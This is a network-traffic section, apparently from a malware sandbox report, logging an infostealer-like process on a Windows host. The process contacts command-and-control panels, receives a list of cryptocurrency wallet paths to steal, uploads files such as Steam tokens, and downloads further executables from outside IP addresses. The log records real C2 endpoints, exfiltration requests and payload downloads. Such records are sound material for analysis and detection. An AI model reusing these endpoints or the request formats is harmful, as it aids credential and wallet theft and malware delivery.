Nov 26, 2024 01:41:51.274295092 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:50 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 26, 2024 01:41:51.288602114 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAFCAFHJJDBFIECFBKE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 2d 2d 0d 0a Data Ascii: ------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="message"files------GCAFCAFHJJDBFIECFBKE--
Nov 26, 2024 01:41:51.741982937 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 01:41:51.770731926 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="file"------DHDHJJJECFIECBGDGCAA--
Nov 26, 2024 01:41:52.735363007 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 01:41:52.791150093 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFCFBKFCFBFIDGCGDHJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 2d 2d 0d 0a Data Ascii: ------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="message"ybncbhylepme------KKFCFBKFCFBFIDGCGDHJ--
Nov 26, 2024 01:41:53.244935989 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49937	185.215.113.16	80	3796	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 01:41:53.381181002 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 26, 2024 01:41:54.713481903 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 00:41:54 GMT Content-Type: application/octet-stream Content-Length: 1943040 Last-Modified: Tue, 26 Nov 2024 00:23:03 GMT Connection: keep-alive ETag: "674514e7-1da600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@L@WkD(hLgL @.rsrcD@.idata @ 0+@sbjwtnei1@vjdjgrshpL@.taggant0L"@
Nov 26, 2024 01:41:54.713517904 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 01:41:54.713571072 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 01:41:54.713606119 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 01:41:54.713674068 CET	1236	IN	Data Raw: cd c7 03 02 7e 75 34 cc 1e a8 17 fe c1 ac 95 68 6f 54 7c bd f7 02 43 70 90 22 9f 22 8d 86 93 4d 31 ca 26 77 2e 8a 0f 42 8a 91 f7 3f 0e a3 06 66 de 92 53 82 da b0 c2 ec 2f 93 83 d1 87 f5 93 6c 0e 06 e8 30 a6 51 b8 6d 80 d5 91 3f 4e 93 cb 33 7f 31 Data Ascii: ~u4hoT\|Cp""M1&w.B?fS/l0Qm?N31f1-3zBo^%ru3ELrr1f,nI}"&(qAnYp{BPMr9"B.)ZPYf6/#fU![
Nov 26, 2024 01:41:54.713706970 CET	1236	IN	Data Raw: 1d c6 69 b2 5d de c3 ff 75 ea 57 83 b5 61 19 87 ee c4 8f 95 7f 05 38 0a ff bf 93 8d 12 0a 33 42 fe a4 eb 39 50 6a 9c f8 10 e8 3f 35 e7 86 b3 11 62 25 14 2d 88 d5 98 3e 66 84 12 f5 8c f2 17 4e 2e c6 9d 31 6e 1a 4e 60 b2 d9 94 99 5e 49 78 21 04 23 Data Ascii: i]uWa83B9Pj?5b%->fN.1nN`^Ix!#k]ali="zzPSp#fL>g6z{z[m<Ye(?>`TDxtBZ!t=v[;tE~6zfsrw.stoNFo<@vv6X
Nov 26, 2024 01:41:54.713742971 CET	1236	IN	Data Raw: 9a 9d 3a a6 46 9b 37 0c 4a 91 bc c3 7f a3 5b 6f b5 39 26 62 f9 16 61 92 ed ac 6a 8e 36 94 5b 47 5b 43 45 53 4a a9 86 20 36 f3 97 0e 2d 2e 81 ff 1b 1a 3a af 05 89 19 33 3f 6a 28 40 ab 76 e6 ad 05 ab fd da ff 2e 78 0d 65 27 fc 0f 46 b7 3e 0c ba e6 Data Ascii: :F7J[o9&baj6[G[CESJ 6-.:3?j(@v.xe'F>Rdn@%uaq s\+j@]jgo\|.I=rCHzzt{U-KFS5Mv"W8fs>h:Fm!b>yi4c<huZ!p}E#iRHOg
Nov 26, 2024 01:41:54.713777065 CET	1236	IN	Data Raw: b5 6c 91 87 80 2a fe 32 72 86 ef e9 b5 4c c3 28 e6 b7 09 1f 3c 3a 96 ed 7f 0c 10 a5 60 d1 6c 8c 6a 8e 66 88 9c 32 ea 1d e3 2e 30 72 aa 7b d0 25 86 02 9f fa f0 e8 90 43 33 01 08 0c 65 49 bb d0 80 d4 ca 70 7c 0c af 86 7f 46 9f c8 48 ad 60 33 f3 9f Data Ascii: l2rL(<:`ljf2.0r{%C3eIp\|FH`3yYf%i\BTU,ocjxNfpcp{:p~591GOq">/"u+&jF4<##JomHjH
Nov 26, 2024 01:41:54.713812113 CET	1236	IN	Data Raw: 11 66 86 c1 af 40 a7 0a 3a 6d 77 19 be a3 9b b1 12 64 d2 93 6a ae 33 c7 c0 62 d8 f6 aa 58 ac 0d 9e 8a 0b 0c 62 83 f9 fa 6b 43 04 30 16 9d 33 0a 47 66 4d 6a 9b c0 7b 43 d5 83 05 0a 84 9b 45 52 42 a1 53 e4 96 53 ab b2 c6 d0 ba 6b 6f 12 7b fe 98 60 Data Ascii: f@:mwdj3bXbkC03GfMj{CERBSSko{`*u'CsjJp$?Y aV3y-6/IWPNs=qsF-MOt>7UnYwEt==FL<f z-zv_qEZzjstt
Nov 26, 2024 01:41:54.713848114 CET	1236	IN	Data Raw: 74 98 f3 76 7c d4 cf cc 8c 30 f5 44 e8 11 04 61 c2 ac e8 59 46 46 7d ce 61 74 96 63 df 68 05 1f ac 67 42 06 a4 4c a4 83 80 8c fb 84 64 12 02 81 eb cf 37 42 8a 92 76 25 20 0b ae 45 1e 55 d8 e7 32 5a 86 d5 5d 98 99 52 de b1 6c ed a5 55 ad f5 cc de Data Ascii: tv\|0DaYFF}atchgBLd7Bv% EU2Z]RlU7ntZi@5Fq_V+:xS/'&c${T`GBN[AT"7Ztbnt0v>eTFgUik>nNNst+\|(\
Nov 26, 2024 01:41:54.834455967 CET	1236	IN	Data Raw: 56 c4 af 96 44 cc 7b fe f2 c8 70 12 56 16 00 1e a8 6a 16 8b 78 1b 7c 8d f6 b6 bd 29 f2 5a 84 95 de eb 94 e5 71 a6 17 2d 21 28 0d cf 34 1a 04 b7 05 49 b8 85 72 56 08 88 86 13 dd 25 6c 16 ca 23 0f dd 28 30 a8 6e c2 22 ff f3 2b 90 b8 ae a4 b1 a3 5a Data Ascii: VD{pVjx\|)Zq-!(4IrV%l#(0n"+Z@K?.V)o~.~>.@oS%T_nWUgI~$X:avLm&Q9UTL}zX{D#0P<}7&Yy_ar

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49955	185.215.113.206	80	3796	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 01:41:58.410479069 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHJJECBKKECFIEBGCAK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 2d 2d 0d 0a Data Ascii: ------IEHJJECBKKECFIEBGCAKContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------IEHJJECBKKECFIEBGCAKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IEHJJECBKKECFIEBGCAK--
Nov 26, 2024 01:42:00.295334101 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50125	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 01:43:04.769270897 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 26, 2024 01:43:06.169384003 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 00:43:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50132	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 01:43:07.808860064 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 26, 2024 01:43:09.156491041 CET	754	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 00:43:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 33 33 0d 0a 20 3c 63 3e 31 30 30 39 31 35 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 39 31 35 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 63 32 62 63 32 31 36 31 38 65 36 30 35 62 34 31 39 31 64 30 33 30 34 61 62 64 34 65 35 30 62 62 64 62 38 39 61 35 35 33 36 65 36 23 31 30 30 39 31 36 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 39 31 36 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 [TRUNCATED] Data Ascii: 233 <c>1009152001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1009157001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9c2bc21618e605b4191d0304abd4e50bbdb89a5536e6#1009162001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1009163001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1009164001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1009165001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50137	31.41.244.11	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 01:43:09.281826019 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 26, 2024 01:43:10.729063034 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 00:43:10 GMT Content-Type: application/octet-stream Content-Length: 4375040 Last-Modified: Mon, 25 Nov 2024 21:29:06 GMT Connection: keep-alive ETag: "6744ec22-42c200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 40 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 c4 00 00 04 00 00 da f8 42 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 2f c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 2f c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2@J@pB@ _qsh// px'@.rsrc p'@.idata q'@ 8q'@jgrcqeum '@ulgvfaad0B@.taggant0@"B@
Nov 26, 2024 01:43:10.729180098 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 01:43:10.729254007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
